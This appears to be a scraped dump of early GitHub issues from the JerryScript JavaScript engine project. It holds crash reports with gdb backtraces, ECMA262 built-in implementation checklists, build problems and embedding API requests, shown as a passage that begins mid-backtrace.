#12 0x0000000000452cd5 in opfunc_prop_getter (opdata=..., int_data=0x7fffffffd590) at jerryscript/jerry-core/vm/opcodes.cpp:1115
#13 0x00000000004bfa60 in run_int_loop (int_data=0x7fffffffd590) at jerryscript/jerry-core/vm/vm.cpp:440
#14 0x00000000004b678d in run_int_from_pos (start_pos=0, this_binding_value=15, lex_env_p=0x7e9770 <_ZL13mem_heap_area.4015+48>, is_strict=false,
is_eval_code=false) at jerryscript/jerry-core/vm/vm.cpp:513
#15 0x00000000004bf82e in run_int () at jerryscript/jerry-core/vm/vm.cpp:381
#16 0x00000000004bd4d0 in jerry_run () at jerryscript/jerry-core/jerry.cpp:1243
#17 0x00000000004bbaff in main (argc=2, argv=0x7fffffffd938) at jerryscript/main-linux.cpp:248
```
| Assertion 'ecma_string_get_length (string_p) > ECMA_STRING_MAGIC_STRING_LENGTH_LIMIT || !ecma_is_string_magic_longpath failed in ecma_is_string_magic | https://api.github.com/repos/jerryscript-project/jerryscript/issues/113/comments | 2 | 2015-05-28T13:50:35Z | 2016-11-25T06:26:27Z | https://github.com/jerryscript-project/jerryscript/issues/113 | 81,935,139 | 113 |
[
"jerryscript-project",
"jerryscript"
] | ###### Jerry version:
```
Checked revision: aaeec7f
Build: debug.linux
```
###### OS:
```
Ubuntu 14.04, x86_64
```
###### Test case:
``` javascript
Math.cos + 1;
```
###### Backtrace:
``` javascript
ICE: Assertion 'property_p != NULL' failed at jerryscript/jerry-core/ecma/base/ecma-helpers.cpp(ecma_get_internal_property):492.
Error: ERR_FAILED_INTERNAL_ASSERTION
[Inferior 1 (process 9984) exited with code 0170]
(gdb) bt
#0 ecma_get_internal_property (object_p=0x7e97f8 <_ZL13mem_heap_area.4015+184>, property_id=ECMA_INTERNAL_PROPERTY_CLASS)
at jerryscript/jerry-core/ecma/base/ecma-helpers.cpp:492
#1 0x000000000046b807 in ecma_op_general_object_default_value (obj_p=0x7e97f8 <_ZL13mem_heap_area.4015+184>, hint=ECMA_PREFERRED_TYPE_NO)
at jerryscript/jerry-core/ecma/operations/ecma-objects-general.cpp:507
#2 0x000000000047b0a1 in ecma_op_object_default_value (obj_p=0x7e97f8 <_ZL13mem_heap_area.4015+184>, hint=ECMA_PREFERRED_TYPE_NO)
at jerryscript/jerry-core/ecma/operations/ecma-objects.cpp:404
#3 0x000000000046c9d4 in ecma_op_to_primitive (value=95, preferred_type=ECMA_PREFERRED_TYPE_NO)
at jerryscript/jerry-core/ecma/operations/ecma-conversion.cpp:169
#4 0x00000000004ac9c8 in opfunc_addition (opdata=..., int_data=0x7fffffffd570)
at jerryscript/jerry-core/vm/opcodes-ecma-arithmetics.cpp:117
#5 0x00000000004bfa60 in run_int_loop (int_data=0x7fffffffd570) at jerryscript/jerry-core/vm/vm.cpp:440
#6 0x00000000004b678d in run_int_from_pos (start_pos=0, this_binding_value=15, lex_env_p=0x7e9770 <_ZL13mem_heap_area.4015+48>, is_strict=false,
is_eval_code=false) at jerryscript/jerry-core/vm/vm.cpp:513
#7 0x00000000004bf82e in run_int () at jerryscript/jerry-core/vm/vm.cpp:381
#8 0x00000000004bd4d0 in jerry_run () at jerryscript/jerry-core/jerry.cpp:1243
#9 0x00000000004bbaff in main (argc=2, argv=0x7fffffffd918) at jerryscript/main-linux.cpp:248
```
###### CC: @ruben-ayrapetyan
| Assertion 'property_p != NULL' failed in ecma_get_internal_property | https://api.github.com/repos/jerryscript-project/jerryscript/issues/112/comments | 2 | 2015-05-28T13:26:54Z | 2016-11-25T06:26:27Z | https://github.com/jerryscript-project/jerryscript/issues/112 | 81,925,221 | 112 |
[
"jerryscript-project",
"jerryscript"
] | IoT.js scripts are growing as development goes on and at the same time, it uses more Jerry heap space.
As of today, IoT.js built-in scripts consume about 64KB memory still more to go. If there is a way to save the heap memory it can give more to IoT.js application.
The idea is like V8's snap-shot;
1) run Jerry with IoT.js built-in scripts
2) make Jerry drop byte codes and Literals in to binary
3) convert that binary to C source so that they exist in .text area (in ROM for embedded devices)
4) build IoT.js
5) when IoT.js is executed give snap-shot .text area memory to Jerry
Please add comments about how to make this possible and huddles to overcome.
| Byte code snap-shot to save runtime heap | https://api.github.com/repos/jerryscript-project/jerryscript/issues/111/comments | 5 | 2015-05-28T10:29:55Z | 2016-11-25T06:26:27Z | https://github.com/jerryscript-project/jerryscript/issues/111 | 81,866,901 | 111 |
[
"jerryscript-project",
"jerryscript"
] | The ordering should be fixed for Array.prototype functions. Additionally, small style fixes, like the issue from #90 should be addressed here as well.
| Style fix for Array builtin | https://api.github.com/repos/jerryscript-project/jerryscript/issues/110/comments | 0 | 2015-05-28T08:45:40Z | 2015-07-22T13:15:57Z | https://github.com/jerryscript-project/jerryscript/issues/110 | 81,831,148 | 110 |
[
"jerryscript-project",
"jerryscript"
] | Jerry has magic string for strings that are commonly used so to save the heap, I think.
As for embedding Jerry, it would be useful to register magic strings with an API to save heap space,
for example IoT.js built-in scripts.
| API for expanding Magic string | https://api.github.com/repos/jerryscript-project/jerryscript/issues/109/comments | 4 | 2015-05-28T08:28:07Z | 2015-06-08T23:25:14Z | https://github.com/jerryscript-project/jerryscript/issues/109 | 81,825,320 | 109 |
[
"jerryscript-project",
"jerryscript"
] | Current scripts silently perform its actions, but Jenkins needs on-screen logs to store them.
| Flag to increase verbosity for `make precommit` and `make prerequisites` | https://api.github.com/repos/jerryscript-project/jerryscript/issues/108/comments | 0 | 2015-05-27T17:30:14Z | 2016-11-25T06:26:27Z | https://github.com/jerryscript-project/jerryscript/issues/108 | 81,544,290 | 108 |
[
"jerryscript-project",
"jerryscript"
] | Jerry build with -mem_stats shows heap usage information like below.
```
|-- Opcode: assignment (position 348) --
| Allocated heap bytes: 24076 -> 24076 ( +0, local 0, peak 52298)
|-- End of execution of opcode assignment (position 348) --
```
Question is, what does the second line numbers mean?
Current iotjs for nuttx has settings of heap size 60KB and at this point gets "out of memory error" and program terminates.
| Question about mem_stats | https://api.github.com/repos/jerryscript-project/jerryscript/issues/103/comments | 5 | 2015-05-27T04:38:57Z | 2015-06-02T00:54:40Z | https://github.com/jerryscript-project/jerryscript/issues/103 | 81,272,094 | 103 |
[
"jerryscript-project",
"jerryscript"
] | By using the `tools/generator.sh` we transform a js file to a `JERRY_MCU_SCRIPT` define. However there is a problem, take the following input mcu.js file:
```
var a = 2 * 2;
```
Executing the `tools/generator.sh mcu.js output` command will result the following content in the `output` file:
```
#define JERRY_MCU_SCRIPT \
"var a = 2 build CMakeLists.txt jerry-core jerry-libc LICENSE main-linux.cpp main-mcu.cpp main-nuttx.cpp Makefile mcu.js out plugins README.md tests third-party tools 2;\n" \
```
which clearly can't be used as a start js script.
| Incorrect mcu script transformation | https://api.github.com/repos/jerryscript-project/jerryscript/issues/101/comments | 4 | 2015-05-26T15:38:03Z | 2015-06-19T12:37:32Z | https://github.com/jerryscript-project/jerryscript/issues/101 | 81,017,420 | 101 |
[
"jerryscript-project",
"jerryscript"
] | Related ECMA262 section: http://www.ecma-international.org/ecma-262/5.1/#sec-15.9
- [x] Date(..) #322
- [x] new Date(..) #322
- [x] Date.prototype
- [x] Date.parse(..) #297
- [x] Date.UTC(..) #305
- [x] Date.now() #305
- [x] Date.prototype.constructor
- [x] Date.prototype.toString() #336
- [x] Date.prototype.toDateString() #360
- [x] Date.prototype.toTimeString() #360
- [x] Date.prototype.toLocaleString() #416
- [x] Date.prototype.toLocaleDateString() #416
- [x] Date.prototype.toLocaleTimeString() #416
- [x] Date.prototype.valueOf()
- [x] Date.prototype.getTime() #334
- [x] Date.prototype.getFullYear() #334
- [x] Date.prototype.getUTCFullYear() #334
- [x] Date.prototype.getMonth() #334
- [x] Date.prototype.getUTCMonth() #334
- [x] Date.prototype.getDate() #334
- [x] Date.prototype.getUTCDate() #334
- [x] Date.prototype.getDay() #334
- [x] Date.prototype.getUTCDay() #334
- [x] Date.prototype.getHours() #334
- [x] Date.prototype.getUTCHours() #334
- [x] Date.prototype.getMinutes() #334
- [x] Date.prototype.getUTCMinutes() #334
- [x] Date.prototype.getSeconds() #334
- [x] Date.prototype.getUTCSeconds() #334
- [x] Date.prototype.getMilliseconds() #334
- [x] Date.prototype.getUTCMilliseconds() #334
- [x] Date.prototype.getTimezoneOffset() #334
- [x] Date.prototype.setTime(..) #367
- [x] Date.prototype.setMilliseconds(..) #367
- [x] Date.prototype.setUTCmilliseconds(..) #367
- [x] Date.prototype.setSeconds(..) #367
- [x] Date.prototype.setUTCSeconds(..) #367
- [x] Date.prototype.setMinutes(..) #367
- [x] Date.prototype.setUTCMinutes(..) #367
- [x] Date.prototype.setHours(..) #367
- [x] Date.prototype.setUTCHours(..) #367
- [x] Date.prototype.setDate(..) #367
- [x] Date.prototype.setUTCDate(..) #367
- [x] Date.prototype.setMonth(..) #367
- [x] Date.prototype.setUTCMonth(..) #367
- [x] Date.prototype.setFullYear(..) #367
- [x] Date.prototype.setUTCFullYear(..) #367
- [x] Date.prototype.toUTCString(..) #418
- [x] Date.prototype.toISOString() #418
- [x] Date.prototype.toJSON(..) #455
| Implement ECMA262 Date builtin object | https://api.github.com/repos/jerryscript-project/jerryscript/issues/94/comments | 0 | 2015-05-22T12:02:54Z | 2015-08-05T12:17:59Z | https://github.com/jerryscript-project/jerryscript/issues/94 | 79,429,453 | 94 |
[
"jerryscript-project",
"jerryscript"
] | Related ECMA262 section: http://www.ecma-international.org/ecma-262/5.1/#sec-15.3
- [x] Function(..)
- [x] new Function(..) #174
- [x] Function.prototype
- [x] Function.length
- [x] Function.prototype.constuctor
- [x] Function.prototype.toString() #165
- [x] Function.prototype.apply(..) #163
- [x] Function.prototype.call(..)
- [x] Function.prototype.bind(..) #321
- [x] .length
- [x] .prototype
| Complete ECMA262 Function object | https://api.github.com/repos/jerryscript-project/jerryscript/issues/93/comments | 1 | 2015-05-22T11:53:40Z | 2015-07-15T08:09:22Z | https://github.com/jerryscript-project/jerryscript/issues/93 | 79,426,398 | 93 |
[
"jerryscript-project",
"jerryscript"
] | Related ECMA262 section: http://www.ecma-international.org/ecma-262/5.1/#sec-15.1
Value properties of the Global object:
- [x] NaN
- [x] Infinity
- [x] undefined
Function properties of the Global object:
- [x] eval(..) #174
- [x] parseInt(..) #167
- [x] parseFloat(..) #190
- [x] isNaN(..)
- [x] isFinite(..)
- [x] decodeURI(..) #177
- [x] decodeURIComponent(..) #177
- [x] encodeURI(..) #177
- [x] encodeURIComponent(..) #177
Constuctor properties of the Global object:
- [x] Object(..) #34
- [x] Function(..) #93
- [x] Array(..) #3
- [x] String(..) #80
- [x] Boolean(..)
- [x] Number(..) #83
- [x] Date(..) #94
- [x] RegExp(..) #27
- [x] Error(..)
- [x] EvalError(..)
- [X] RangeError(..)
- [x] ReferenceError(..)
- [x] SyntaxError(..)
- [X] TypeError(..)
- [x] URIError(..)
Other properties of the Global object:
- [x] Math #82
- [x] JSON #61
| Complete ECMA262 Global object | https://api.github.com/repos/jerryscript-project/jerryscript/issues/92/comments | 0 | 2015-05-22T11:40:39Z | 2015-08-06T07:11:57Z | https://github.com/jerryscript-project/jerryscript/issues/92 | 79,421,570 | 92 |
[
"jerryscript-project",
"jerryscript"
] | To improve the configurability of the engine it's needed to provide build time flags for disabling selected built-ins.
Compact profile has possibility for this:
```
#ifdef CONFIG_ECMA_COMPACT_PROFILE
// #define CONFIG_ECMA_COMPACT_PROFILE_DISABLE_NUMBER_BUILTIN
// #define CONFIG_ECMA_COMPACT_PROFILE_DISABLE_STRING_BUILTIN
// #define CONFIG_ECMA_COMPACT_PROFILE_DISABLE_BOOLEAN_BUILTIN
// #define CONFIG_ECMA_COMPACT_PROFILE_DISABLE_ERROR_BUILTINS
// #define CONFIG_ECMA_COMPACT_PROFILE_DISABLE_ARRAY_BUILTIN
// #define CONFIG_ECMA_COMPACT_PROFILE_DISABLE_MATH_BUILTIN
// #define CONFIG_ECMA_COMPACT_PROFILE_DISABLE_DATE_BUILTIN
// #define CONFIG_ECMA_COMPACT_PROFILE_DISABLE_JSON_BUILTIN
// #define CONFIG_ECMA_COMPACT_PROFILE_DISABLE_REGEXP_BUILTIN
#endif /* CONFIG_ECMA_COMPACT_PROFILE */
```
//cc @seanshpark
| Add configuration option for disabling selected built-in objects. | https://api.github.com/repos/jerryscript-project/jerryscript/issues/88/comments | 2 | 2015-05-21T10:46:16Z | 2016-08-29T18:03:40Z | https://github.com/jerryscript-project/jerryscript/issues/88 | 78,939,468 | 88 |
[
"jerryscript-project",
"jerryscript"
] | NuttX doesn't provide libm and have link problem.
fabs, acos, asin, atan, atan2, ceil, cos, exp, floor, log, pow, sin, sqrt and tan are undefined.
I'm posting this issue for discussion.
| Math for embed devices | https://api.github.com/repos/jerryscript-project/jerryscript/issues/87/comments | 10 | 2015-05-21T10:39:36Z | 2015-05-27T01:16:03Z | https://github.com/jerryscript-project/jerryscript/issues/87 | 78,937,353 | 87 |
[
"jerryscript-project",
"jerryscript"
] | Track the Number built in progress.
Related ECMA262 section: http://www.ecma-international.org/ecma-262/5.1/#sec-15.7
- [x] Number(..)
- [x] new Number(..)
- [x] Number.length
- [x] Number.MAX_VALUE
- [x] Number.MIN_VALUE
- [x] Number.NaN
- [x] Number.NEGATIVE_INFINITY
- [x] Number.POSITIVE_INFINITY
- [x] Number.prototype
- [x] Number.prototype.constructor
- [x] Number.prototype.toString(..) #306
- [x] Number.prototype.toLocaleString()
- [x] Number.prototype.valueOf()
- [x] Number.prototype.toFixed(..) #100
- [x] Number.prototype.toExponential(..) #224
- [x] Number.prototype.toPrecision(..) #238
| Implement ECMA262 Number builtin object | https://api.github.com/repos/jerryscript-project/jerryscript/issues/83/comments | 2 | 2015-05-20T13:17:27Z | 2015-07-09T07:47:03Z | https://github.com/jerryscript-project/jerryscript/issues/83 | 78,522,030 | 83 |
[
"jerryscript-project",
"jerryscript"
] | Track the Math built in progress.
Related ECMA262 section: http://www.ecma-international.org/ecma-262/5.1/#sec-15.8
- [x] Math.E
- [x] Math.LN10
- [x] Math.LN2
- [x] Math.LOG2E
- [x] Math.LOG10E
- [x] Math.PI
- [x] Math.SQRT1_2
- [x] Math.SQRT2
- [x] Math.abs(..)
- [x] Math.acos(..)
- [x] Math.asin(..)
- [x] Math.atan(..)
- [x] Math.atan2(..)
- [x] Math.ceil(..)
- [x] Math.cos(..)
- [x] Math.exp(..)
- [x] Math.floor(..)
- [x] Math.log(..)
- [x] Math.max(..)
- [x] Math.min(..)
- [x] Math.pow(..)
- [x] Math.random()
- [x] Math.round(..)
- [x] Math.sin(..)
- [x] Math.sqrt(..)
- [x] Math.tan(..)
| Complete ECMA262 Math builtin object | https://api.github.com/repos/jerryscript-project/jerryscript/issues/82/comments | 1 | 2015-05-20T13:03:54Z | 2015-05-20T13:05:06Z | https://github.com/jerryscript-project/jerryscript/issues/82 | 78,516,679 | 82 |
[
"jerryscript-project",
"jerryscript"
] | To track status of progress of String builtin.
See [ECMA262 String](http://www.ecma-international.org/ecma-262/5.1/#sec-15.5) for specification.
Required items
- [x] String()
- [x] new String()
- [x] String.prototype
- [x] String.fromCharCode
- [x] String.prototype.constructor
- [x] String.prototype.toString( )
- [x] String.prototype.valueOf( )
- [x] String.prototype.charAt() #320
- [x] String.prototype.charCodeAt() #352
- [x] String.prototype.concat() #159
- [x] String.prototype.indexOf() #456
- [x] String.prototype.lastIndexOf() #483
- [x] String.prototype.localeCompare() #386
- [x] String.prototype.match() #443
- [x] String.prototype.replace() #474
- [x] String.prototype.search() #504
- [x] String.prototype.slice() #138
- [x] String.prototype.split() #530
- [x] String.prototype.substring() #244 #318
- [x] String.prototype.toLowerCase() #365
- [x] String.prototype.toLocaleLowerCase() #365
- [x] String.prototype.toUpperCase() #365
- [x] String.prototype.toLocaleUpperCase() #365
- [x] String.prototype.trim() #191
- [x] length
| Implement ECMA262 String builtin object | https://api.github.com/repos/jerryscript-project/jerryscript/issues/80/comments | 3 | 2015-05-19T07:20:22Z | 2015-08-07T16:14:31Z | https://github.com/jerryscript-project/jerryscript/issues/80 | 77,970,972 | 80 |
[
"jerryscript-project",
"jerryscript"
] | In some Linux systems the x86_64 compiler is not named `x86_64-linux-gnu-gcc`, but instead `x86_64-unknown-linux-gnu-gcc`. Related to this that it is also possible that there is no `x86_64-linux-gnu-strip` just the simple `strip` program.
| Improve compiler detection | https://api.github.com/repos/jerryscript-project/jerryscript/issues/71/comments | 4 | 2015-05-15T14:06:20Z | 2015-06-21T11:32:03Z | https://github.com/jerryscript-project/jerryscript/issues/71 | 76,736,676 | 71 |
[
"jerryscript-project",
"jerryscript"
] | In the function [ecma_op_from_property_descriptor](https://github.com/Samsung/jerryscript/blob/master/jerry-core/ecma/operations/ecma-conversion.cpp#L431) the forth section is unreachable.
FromPropertyDescriptor [8.10.4](http://www.ecma-international.org/ecma-262/5.1/#sec-8.10.4)
The function is needed by the Object.getOwnPropertyDescriptor builtin function [15.2.3.4](http://www.ecma-international.org/ecma-262/5.1/#sec-15.2.3.3).
| Fix FromPropertyDescriptor function | https://api.github.com/repos/jerryscript-project/jerryscript/issues/70/comments | 2 | 2015-05-15T12:20:28Z | 2016-11-25T06:26:26Z | https://github.com/jerryscript-project/jerryscript/issues/70 | 76,710,721 | 70 |
[
"jerryscript-project",
"jerryscript"
] | Currently the only way to print debug information is using 'fprintf' with JERRY_NDEBUG. It would be helpful to do some logger macros to wrap NDEBUG and fprintf at least. The possibility of setting different debug levels can make this more useful.
Example:
JERRY_DPRINT("This is a first level debug message!", variables);
JERRY_DDPRINT("This is a second level debug message!", variables);
JERRY_DDDPRINT("This is a third level debug message!", variables);
| Create JERRY_LOG macros | https://api.github.com/repos/jerryscript-project/jerryscript/issues/68/comments | 1 | 2015-05-15T09:05:25Z | 2016-11-25T06:26:26Z | https://github.com/jerryscript-project/jerryscript/issues/68 | 76,657,174 | 68 |
[
"jerryscript-project",
"jerryscript"
] | Build is failed on Ubuntu 15.04 with gcc-4.9.2:
```
/home/egavrin/dev/cj/jerryscript/jerry-core/mem/mem-heap.cpp:74:20: error: anonymous scoped enum is not allowed
typedef enum class : uint8_t
^
compilation terminated due to -Wfatal-errors.
```
| Build failed using gcc-4.9.2 | https://api.github.com/repos/jerryscript-project/jerryscript/issues/66/comments | 1 | 2015-05-15T08:24:44Z | 2015-05-15T10:27:47Z | https://github.com/jerryscript-project/jerryscript/issues/66 | 76,646,550 | 66 |
[
"jerryscript-project",
"jerryscript"
] | Currently, severity mechanism isn't really used, so consider removing it.
This will eliminate checks like the following:
```
for (mem_try_give_memory_back_severity_t severity = MEM_TRY_GIVE_MEMORY_BACK_SEVERITY_LOW;
severity <= MEM_TRY_GIVE_MEMORY_BACK_SEVERITY_CRITICAL;
severity = (mem_try_give_memory_back_severity_t) (severity + 1))
```
| Remove Severity mechanism from mem allocator | https://api.github.com/repos/jerryscript-project/jerryscript/issues/63/comments | 0 | 2015-05-14T18:02:47Z | 2016-11-25T06:26:26Z | https://github.com/jerryscript-project/jerryscript/issues/63 | 76,439,762 | 63 |
[
"jerryscript-project",
"jerryscript"
] | - [x] Register the JSON built-in object.
- [x] parse()
- [x] implement a parser
- [x] implement a lexer
- [x] add support for reviver
- [x] stringify()
- [x] simple values to JSON
- [x] object values to JSON
- [x] array values to JSON
- [x] add support for replacer
- [x] add support for spaces (formatting)
merge request: #168
| Implement JSON object | https://api.github.com/repos/jerryscript-project/jerryscript/issues/61/comments | 2 | 2015-05-14T11:55:43Z | 2015-07-08T11:50:13Z | https://github.com/jerryscript-project/jerryscript/issues/61 | 76,333,963 | 61 |
[
"jerryscript-project",
"jerryscript"
] | - [ ] Create scripts for automatic uploading of 'make log' information onto wiki page with comparison to other engines.
- [ ] Create bot, running this scripts for each commit.
| Automatically update benchmarks results on wiki | https://api.github.com/repos/jerryscript-project/jerryscript/issues/56/comments | 1 | 2015-05-13T16:16:12Z | 2016-11-25T06:26:25Z | https://github.com/jerryscript-project/jerryscript/issues/56 | 76,040,751 | 56 |
[
"jerryscript-project",
"jerryscript"
] | - [ ] Add test262 pass rate information
- [ ] Provide binary size information for each configuration
- [ ] Merge log information into tables:
| | peak parser consumption | byte-code size | peak runtime consumption (without bytecode) | peak overall consumption | rss |
| --- | --- | --- | --- | --- | --- |
| benchmark suite 1: | | | | | |
| bench1.js | | | | | |
| bench2.js | | | | | |
| bench3.js | | | | | |
| | | | | | |
| benchmark suite 2: | | | | | |
| stm32 mem limit | 8kb | 32kb | 64kb | 128kb |
| --- | --- | --- | --- | --- |
| benchmark suite 1: | | | | |
| bench1.js | | | | |
| bench2.js | | | | |
| bench3.js | | | | |
| | | | | |
| benchmark suite 2: | | | | |
Blocks: #56
| Enhance 'make log' info | https://api.github.com/repos/jerryscript-project/jerryscript/issues/55/comments | 1 | 2015-05-13T16:12:39Z | 2016-08-29T17:41:20Z | https://github.com/jerryscript-project/jerryscript/issues/55 | 76,038,878 | 55 |
[
"jerryscript-project",
"jerryscript"
] | - [X] implement setjmp / longjmp
- [x] add checks into parsing of expression
- [x] 11.1.5
- [x] 11.3.1
- [x] 11.3.2
- [x] 11.4.1
- [x] 11.4.4
- [x] 11.4.5
- [x] 11.13.1
- [x] 11.13.2
- [x] 12.2.1
- [x] 12.10.1
- [x] 12.14.1
- [x] 13.1
| Add support of syntax error checking | https://api.github.com/repos/jerryscript-project/jerryscript/issues/54/comments | 3 | 2015-05-13T14:10:52Z | 2015-10-20T14:59:55Z | https://github.com/jerryscript-project/jerryscript/issues/54 | 75,996,655 | 54 |
[
"jerryscript-project",
"jerryscript"
] | Enable Arguments object | https://api.github.com/repos/jerryscript-project/jerryscript/issues/53/comments | 1 | 2015-05-13T14:09:39Z | 2016-11-25T06:26:25Z | https://github.com/jerryscript-project/jerryscript/issues/53 | 75,996,245 | 53 |
|
[
"jerryscript-project",
"jerryscript"
] | - [x] generate break and continue opcodes
- [x] break and continue completion values
- [x] determine if break / continue target is in current scope
| Support labelled statements | https://api.github.com/repos/jerryscript-project/jerryscript/issues/52/comments | 1 | 2015-05-13T14:06:49Z | 2016-11-25T06:26:25Z | https://github.com/jerryscript-project/jerryscript/issues/52 | 75,995,298 | 52 |
[
"jerryscript-project",
"jerryscript"
] | - [x] parse for-in and generate for-in opcode
- [x] for-in opcode handler
| Implement for-in statement | https://api.github.com/repos/jerryscript-project/jerryscript/issues/51/comments | 0 | 2015-05-13T14:05:06Z | 2016-11-25T06:26:25Z | https://github.com/jerryscript-project/jerryscript/issues/51 | 75,994,805 | 51 |
[
"jerryscript-project",
"jerryscript"
] | Support escape sequences | https://api.github.com/repos/jerryscript-project/jerryscript/issues/50/comments | 2 | 2015-05-13T14:03:22Z | 2016-11-25T06:26:25Z | https://github.com/jerryscript-project/jerryscript/issues/50 | 75,994,367 | 50 |
|
[
"jerryscript-project",
"jerryscript"
] | - [x] implement unicode handling in the string processing routines
- [x] unicode support in parser
| Unicode support | https://api.github.com/repos/jerryscript-project/jerryscript/issues/49/comments | 2 | 2015-05-13T14:02:10Z | 2015-07-08T14:51:11Z | https://github.com/jerryscript-project/jerryscript/issues/49 | 75,994,008 | 49 |
[
"jerryscript-project",
"jerryscript"
] | Support eval | https://api.github.com/repos/jerryscript-project/jerryscript/issues/48/comments | 1 | 2015-05-13T13:59:55Z | 2015-06-13T16:04:09Z | https://github.com/jerryscript-project/jerryscript/issues/48 | 75,993,469 | 48 |
|
[
"jerryscript-project",
"jerryscript"
] | - [ ] byte-code and scopes allocator, based on generic dynamic storage
- [ ] implement scope storage with hash table
- [ ] implement pointer-based jumps
Blocks: #48
| Implement byte-code storage | https://api.github.com/repos/jerryscript-project/jerryscript/issues/46/comments | 0 | 2015-05-13T13:51:46Z | 2016-02-11T13:57:59Z | https://github.com/jerryscript-project/jerryscript/issues/46 | 75,991,340 | 46 |
[
"jerryscript-project",
"jerryscript"
] | - [x] implement rcs_record_iterator_t (see rcs-recordset.h),
extending test_recordset unit test to check the iterator;
- [x] create component (lit ?);
- [x] create record classes based on rcs_record_t for each literal type;
- [x] create class (lit_storage_t ?) based on rcs_recordset_t,
implementing alloc / free interfaces for each record type;
- [x] add literal-type specific interfaces to record classes for receiving actual literal value
(maybe temporary, just interface for getting length and character buffers?);
- [x] implement interfaces for literal construction, conversion, comparison, concatenation etc. (with unit tests?);
- [x] add some type similar to current literal_index_t for identifying literals, with related interfaces.
- [x] allocator, based on generic dynamic storage
- [x] move string processing routines to the component
Blocks: #48, #49, #50
| Implement literal storage | https://api.github.com/repos/jerryscript-project/jerryscript/issues/45/comments | 0 | 2015-05-13T13:49:59Z | 2015-06-26T11:28:51Z | https://github.com/jerryscript-project/jerryscript/issues/45 | 75,990,846 | 45 |
[
"jerryscript-project",
"jerryscript"
] | Dynamic recordset is a storage based on a chunked list, required to reduce fragmentation in case of frequent allocations / deallocations of big data blocks.
Blocks #45, #46.
| Implement dynamic recordset | https://api.github.com/repos/jerryscript-project/jerryscript/issues/44/comments | 2 | 2015-05-13T13:46:55Z | 2015-06-17T14:59:07Z | https://github.com/jerryscript-project/jerryscript/issues/44 | 75,990,039 | 44 |
[
"jerryscript-project",
"jerryscript"
] | The js parser goes into an infinite loop if the input file contains this:
```
{
```
The engine loops in the preparse_scope (jerry-core/parser/js/parser.cpp) method.
| Parser infinite loop on open brace | https://api.github.com/repos/jerryscript-project/jerryscript/issues/43/comments | 2 | 2015-05-13T13:28:06Z | 2016-11-25T06:26:25Z | https://github.com/jerryscript-project/jerryscript/issues/43 | 75,984,161 | 43 |
[
"jerryscript-project",
"jerryscript"
] | It seems like there's no api for supporting exception handling in Jerry API.
We need exception handling api that facilitates following use case:
- Creating [error object ](http://www.ecma-international.org/ecma-262/5.1/#sec-15.11)
- Throwing an error.
And below is probably less significant.
- Creating try-catch block. See [Exception API on v8](https://developers.google.com/v8/embed#exceptions) for more understanding.
| Jerry API: throwing exception | https://api.github.com/repos/jerryscript-project/jerryscript/issues/35/comments | 8 | 2015-05-12T04:41:12Z | 2015-05-20T12:17:49Z | https://github.com/jerryscript-project/jerryscript/issues/35 | 75,459,336 | 35 |
[
"jerryscript-project",
"jerryscript"
] | Ecma 262 Objects reference http://www.ecma-international.org/ecma-262/5.1/#sec-15.2
Functions to implement:
- [x] Object(..)
- [x] new Object(..)
- [x] Object.create #209
- [x] Object.defineProperties #37
- [x] Object.defineProperty
- [x] Object.freeze #202
- [x] Object.getOwnPropertyDescriptor #81
- [x] Object.getOwnPropertyNames #124
- [x] Object.getPrototypeOf #151
- [x] Object.isExtensible #106
- [x] Object.isFrozen #202
- [x] Object.isSealed #172
- [x] Object.keys #124
- [x] Object.preventExtensions #106
- [x] Object.seal #172
Object prototype functions:
- [x] Object.prototype.hasOwnProperty #41
- [x] Object.prototype.isPrototypeOf #47
- [x] Object.prototype.propertyIsEnumerable #99
- [x] Object.prototype.toLocaleString #40
- [x] Object.prototype.toString
- [x] Object.prototype.valueOf
| Implement ECMA262 Object builtin functions | https://api.github.com/repos/jerryscript-project/jerryscript/issues/34/comments | 2 | 2015-05-11T11:19:14Z | 2015-06-25T11:21:13Z | https://github.com/jerryscript-project/jerryscript/issues/34 | 75,185,381 | 34 |
[
"jerryscript-project",
"jerryscript"
] | 'assert' function itself is not included in ECMA spec but is included in JerryScript, opcodes-dumper.cpp
programs embedding JerryScript will implement 'assert', including IoT.js.
need some compile time option to disable internal 'assert' and maybe others like 'print'
| disable assert implementation | https://api.github.com/repos/jerryscript-project/jerryscript/issues/28/comments | 6 | 2015-05-08T08:03:51Z | 2015-07-01T02:34:47Z | https://github.com/jerryscript-project/jerryscript/issues/28 | 74,275,574 | 28 |
[
"jerryscript-project",
"jerryscript"
] | Related ECMA2626 section: http://www.ecma-international.org/ecma-262/5.1/#sec-15.10.3
- [x] Regexp Builtin components
- [x] Register the RegExp built-in object.
- [x] RegExp(..)
- [x] RegExp(pattern)
- [x] RegExp(pattern, flag)
- [x] RegExp(RegExp)
- [x] new RegExp(..)
- [x] RegExp(pattern)
- [x] RegExp(pattern, flag)
- [x] RegExp(RegExp)
- [x] RegExp.prototype
- [x] RegExp.prototype.constructor
- [x] RegExp.prototype.exec(..)
- [x] RegExp.prototype.test(..)
- [x] RegExp.prototype.toString(..)
- [x] RegExp.source
- [x] RegExp.global
- [x] RegExp.ignoreCase
- [x] RegExp.multiline
- [x] RegExp.lastIndex
- [x] Implement RegExp bytecode storage
- Requirements
- [x] Resize automatically when it is needed
- [x] Append and insert uint32 and uint8
- [x] Read uint32 and uint8
- [x] Advance in bytecode while reading
- [x] Dump container (for debug)
- [x] Compile RegExp bytecode
- Compile RegExp pattern to an internal bytecode to be able to run it efficiently.
- [x] Disjunction
- [x] Alternative
- [x] Assertion
- [x] Atom
- [x] PatternCharacter
- [x] .
- [x] \ AtomEscape (depends on #49)
- [x] CharacterClass
- [x] Quantifier
- [x] Execute RegExp
- Read the compiled bytecode and try to match.
- [x] Disjunction
- [x] Alternative
- [x] Assertion
- [x] Atom
- [x] PatternCharacter
- [x] .
- [x] \ AtomEscape
- [x] CharacterClass
- [x] Quantifier
- [x] Handle flags (depends on #49)
- [x] Global
- [x] IgnoreCase
- [x] Multiline
- [x] Set lastIndex property
- [x] Set properties of the returned array object
- [x] Parse RegularExpressionLiterals and create a RegExp object.
| Implement ECMA262 RegExp builtin object and RegExp engine | https://api.github.com/repos/jerryscript-project/jerryscript/issues/27/comments | 8 | 2015-05-08T07:12:32Z | 2015-08-07T08:13:34Z | https://github.com/jerryscript-project/jerryscript/issues/27 | 74,261,180 | 27 |
[
"jerryscript-project",
"jerryscript"
] | 'require' function in [iotjs](https://github.com/Samsung/iotjs) need eval feature which is not supported by current jerryscript/master branch. Thus, eval_dev should be merged into master.
